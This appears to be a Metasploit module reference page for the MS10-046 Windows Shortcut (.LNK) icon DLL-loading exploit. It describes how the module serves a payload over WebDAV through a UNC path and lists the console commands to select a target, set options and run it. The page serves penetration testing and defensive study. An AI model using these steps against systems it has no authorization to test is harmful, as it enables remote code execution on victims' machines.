This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious DLL. This module creates a WebDAV service that can be used to run an arbitrary payload when accessed as a UNC path.

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > show targets
...targets...
msf exploit(ms10_046_shortcut_icon_dllloader) > set TARGET < target-id >
msf exploit(ms10_046_shortcut_icon_dllloader) > show options
...show and set options...
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
